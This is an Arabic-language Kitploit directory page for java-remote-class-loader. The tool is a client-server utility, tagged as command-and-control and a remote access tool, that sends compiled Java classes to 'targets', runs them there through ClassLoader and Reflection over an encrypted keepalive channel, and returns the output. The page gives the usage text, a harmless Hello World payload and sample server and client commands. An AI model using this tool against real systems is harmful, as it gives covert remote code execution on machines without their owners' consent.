Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
java-remote-class-loader — أداة خادم-عميل لتحميل وتنفيذ Java bytecode عن بعد عبر ClassLoader وواجهة Reflect API، مع تشفير ChaCha20 واتصال نبضات البقاء. | Kitploit
أدوات/GitHubGitHub/joaovarelas/java-remote-class-loader
أدوات التشفير/فك التشفيرتوليد الحمولةالاستغلالالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubjoaovarelas/java-remote-class-loader

java-remote-class-loader

أداة خادم-عميل لتحميل وتنفيذ Java bytecode عن بعد عبر ClassLoader وواجهة Reflect API، مع تشفير ChaCha20 واتصال نبضات البقاء.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
346منذ 3 سنواتتمت المراجعة من قبل Kitploit

java-remote-class-loader

تتيح لك هذه الأداة إرسال كود بايت جافا (Java bytecode) على شكل ملفات كلاس (class files) إلى عملائك (أو الأهداف المحتملة) لتحميلها وتنفيذها باستخدام محمل الفئات (ClassLoader) الخاص بجافا مع واجهة Reflect API. يستقبل العميل ملف الفئة من الخادم ويعيد مخرجات التنفيذ المقابلة. يجب أن تُكتب الحمولات (Payloads) بلغة جافا وتُجمَّع قبل بدء تشغيل الخادم.

المميزات

  • بنية خادم-عميل
  • تحميل عن بعد لملفات فئات جافا
  • تشفير أثناء النقل باستخدام خوارزمية ChaCha20
  • إعدادات محددة عبر الوسائط (args)
  • آلية البقاء على قيد الحياة (Keepalive) لإعادة إنشاء الاتصال في حالة إعادة تشغيل الخادم

التثبيت

تم اختبار الأداة باستخدام OpenJDK 11 مع حزمة JRE جافا، على كل من ويندوز ولينكس (إصدار محمول مضغوط zip). يجب أن يكون إصدار جافا 11 أو أعلى بسبب التبعيات.

https://www.openlogic.com/openjdk-downloads

الاستخدام

root@kitploit:~
$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       address to connect (client) / to bind (server)
 -classfile <arg>     filename of bytecode .class file to load remotely
                      (default: Payload.class)
 -classmethod <arg>   name of method to invoke (default: exec)
 -classname <arg>     name of class (default: Payload)
 -client              run as client
 -help                print this message
 -keepalive           keeps the client getting classfile from server every
                      X seconds (default: 3 seconds)
 -key <arg>           secret key - 256 bits in base64 format (if not
                      specified it will generate a new one)
 -port <arg>          port to connect (client) / to bind (server)
 -server              run as server

مثال

بافتراض أن لديك الحمولة التالية "Hello World" في ملف Payload.java:

root@kitploit:~
//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

ثم يجب عليك تجميعها وإنتاج ملف Payload.class المقابل.

لتشغيل عملية الخادم التي تستمع على المنفذ 1337 على جميع واجهات الشبكة:

root@kitploit:~
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

على جانب العميل، يمكنك استخدام نفس حزمة JAR مع العلم -client واستخدام المفتاح المتناظر الذي أنشأه الخادم. حدد عنوان IP الخادم والمنفذ للاتصال به. يمكنك أيضًا تغيير اسم الفئة واسم الطريقة (القيم الافتراضية هي Payload و String exec() على التوالي). بالإضافة إلى ذلك، يمكنك تحديد -keepalive لإبقاء العميل يطلب ملف الفئة من الخادم مع الحفاظ على الاتصال.

root@kitploit:~
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

المراجع

راجع https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ للحصول على مقال مدونة مرتبط بتطوير هذه الأداة.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

تنزيل الأداة